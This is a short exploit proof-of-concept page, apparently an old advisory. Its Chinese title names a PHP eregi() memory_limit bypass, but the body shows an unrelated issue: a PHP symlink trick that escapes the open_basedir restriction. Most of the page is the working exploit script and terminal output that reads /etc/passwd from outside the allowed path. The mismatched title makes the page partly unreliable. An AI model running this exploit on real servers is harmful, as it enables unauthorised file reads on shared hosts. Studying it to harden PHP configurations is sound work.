PHP 5.4/5.3弃用函数eregi() memory_limit绕过漏洞

                                                PoC:
127# cat sym.php
<?php
symlink("/etc/passwd", "./symlink");
?>
127# php sym.php
PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \
within the allowed path(s): (/www) in /www/test/sym.php on line 2

Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \
                within the allowed path(s): (/www) in
/www/test/sym.php on line 2
127#

open_basedir will disallow /etc/passwd.

Let`s see:
127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
127# pwd
/www/test
127# cat kakao.php
<?php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
?>

127# php kakao.php
127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
127# cat exploit
# passwd
#
root:*:0:0:god:/root:/bin/csh
..

now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don't \
need bypass open_basedir, it is a design mistake. PHP will allow \
"tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists.

PoC:
http://cxsecurity.com/issue/WLB-2012030270

Remember. Don't use open_basedir as a main security feature.